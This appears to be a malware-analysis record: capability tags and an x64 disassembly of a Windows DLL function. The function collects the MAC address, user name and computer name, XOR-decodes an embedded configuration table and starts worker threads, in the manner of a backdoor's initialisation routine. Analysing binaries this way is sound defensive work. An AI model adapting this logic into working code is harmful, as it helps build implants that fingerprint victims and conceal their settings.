Function at 0x180001ca8
Capabilities:
Create thread
Encode data using xor
Generate random numbers via rtlgenrandom
Get hostname
Get mac address on windows
Get session user name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
lea r15, [0x180004240]
mov dword [0x180004274], 0
mov rcx, r15
mov edx, 0x1f
call fcn.180002e80
mov esi, 0x80
lea rcx, [0x180004190]
mov r8d, esi
xor edx, edx
call fcn.180002f58
xor ebx, ebx
lea rdx, [rbp + 0x5e0]
and dword [rbp + 0x5e0], ebx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
movsxd rcx, dword [rbp + 0x5e0]
call fcn.180002e3c
lea rdx, [rbp + 0x5e0]
mov byte [0x180004260], bl
mov rcx, rax
mov rdi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x180001da8
mov rcx, rdi
test rdi, rdi
je 0x180001d76
movabs rax, 0x302e302e302e30
cmp qword [rcx + 0x1f0], rax
je 0x180001d6e
cmp dword [rcx + 0x1a4], 6
je 0x180001d6b
test rbx, rbx
je 0x180001d6b
mov eax, dword [rbx + 0x1a4]
cmp eax, 6
je 0x180001d6e
cmp eax, 0x47
je 0x180001d6e
mov rbx, rcx
mov rcx, qword [rcx]
test rcx, rcx
jne 0x180001d3a
mov r8d, dword [rbx + 0x194]
lea rdx, [rbx + 0x198]
lea rcx, [rsp + 0x30]
call fcn.180002ecc
lea rdx, [rbx + 0x1c0]
lea rcx, [0x180004260]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [rbx + 0x194]
mov rcx, rdi
call fcn.180002e28
mov eax, esi
lea rdi, [rsp + 0x30]
sub eax, ebx
lea rdx, [rbp + 0x5e8]
mov dword [rbp + 0x5e8], eax
movsxd rax, ebx
add rdi, rax
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x180001de3
mov ecx, dword [rbp + 0x5e8]
dec ecx
jmp 0x180001de5
xor ecx, ecx
add ebx, ecx
mov edx, ecx
mov eax, esi
mov dword [rbp + 0x5e8], ecx
sub eax, ebx
lea r8, [rbp + 0x5f0]
add rdx, rdi
mov dword [rbp + 0x5f0], eax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
neg eax
sbb ecx, ecx
and ecx, dword [rbp + 0x5f0]
mov dword [rbp + 0x5f0], ecx
lea edx, [rcx + rbx]
lea rcx, [rsp + 0x30]
call fcn.180002f7c
mov dword [0x180004288], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [0x180004288]
mov edx, 8
mov dword [rbp + 0x5f8], ecx
lea rcx, [rbp + 0x5f8]
mov dword [0x180004270], eax
mov dword [rbp + 0x5fc], eax
call fcn.180002f7c
mov ecx, 0x81
mov dword [0x180004180], eax
call fcn.180002e3c
xor r8d, r8d
mov qword [0x180004280], rax
lea r9, [0x1800040e0]
mov r10, rax
mov rcx, rax
lea r11, [0x180000000]
sub r10, r9
mov ebx, 0x84210843
lea edi, [r8 + 1]
movsxd rax, r8d
mov al, byte [rax + r11 + 0x40c0]
xor al, byte [r9]
mov byte [r10 + r9 + 1], al
add r9, rdi
inc r8d
mov eax, ebx
imul r8d
add edx, r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
sub r8d, eax
sub esi, edi
jne 0x180001e9a
lea r8, [rsp + 0x30]
xor r9d, r9d
mov qword [r8], rcx
mov r10, rcx
add rcx, rdi
jmp 0x180001f1f
mov dl, byte [rcx]
test dl, dl
je 0x180001f24
movsxd rax, r9d
xor dl, byte [rax + r15]
lea eax, [r9 + 1]
movsxd r9, eax
movabs rax, 0x842108421084211
mov byte [rcx], dl
add rcx, rdi
mul r9
mov rax, r9
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1f
sub r9, rax
cmp byte [rcx], 0x7c
jne 0x180001ee2
mov al, cl
sub al, byte [r8]
add r8, 8
sub al, dil
mov byte [r10], al
cmp byte [rcx], 0
jne 0x180001ed4
xor ecx, ecx
mov r9d, 0xc0
xor r8d, r8d
movsxd rax, ecx
mov al, byte [rax + r11 + 0x40c0]
xor al, byte [r8 + r11 + 0x4000]
mov byte [rbp + r8 - 0x50], al
add r8, rdi
inc ecx
mov eax, ebx
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
sub ecx, eax
sub r9d, edi
jne 0x180001f43
mov ecx, 0x400
lea rbx, [rbp - 0x50]
call fcn.180002e3c
mov dl, byte [rbp - 0x50]
xor r8d, r8d
mov qword [0x180004178], rax
test dl, 0xf
je 0x180001fcf
lea rcx, [rax + 8]
movzx eax, dl
lea rbx, [rbx + 3]
and eax, 0xf
add r8d, edi
mov dword [rcx + 4], eax
movzx eax, dl
mov dl, byte [rbx]
shr rax, 4
mov rax, qword [rsp + rax*8 + 0x30]
mov qword [rcx - 8], rax
movsx eax, word [rbx - 2]
mov dword [rcx], eax
lea rcx, [rcx + 0x10]
test dl, 0xf
jne 0x180001f9e
and qword [0x180004210], 0
lea rcx, [0x180004218]
mov dword [0x18000427c], r8d
mov dword [0x180004278], 1
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
and qword [0x180004290], 0
lea rcx, [0x180004298]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
and qword [0x1800042d0], 0
lea rcx, [0x1800042d8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
and qword [0x180004300], 0
lea rcx, [0x180004308]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [0x1800042c8], rax
lea rbx, [0x180004330]
and qword [rsp + 0x28], 0
lea r8, [0x1800022dc]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx], rax
lea rcx, [0x180004358]
add rbx, 8
cmp rbx, rcx
jl 0x180002054
xor r9d, r9d
xor r8d, r8d
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x180004170], rax
mov al, dil
mov byte [0x180004184], 0
add rsp, 0x6b0
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret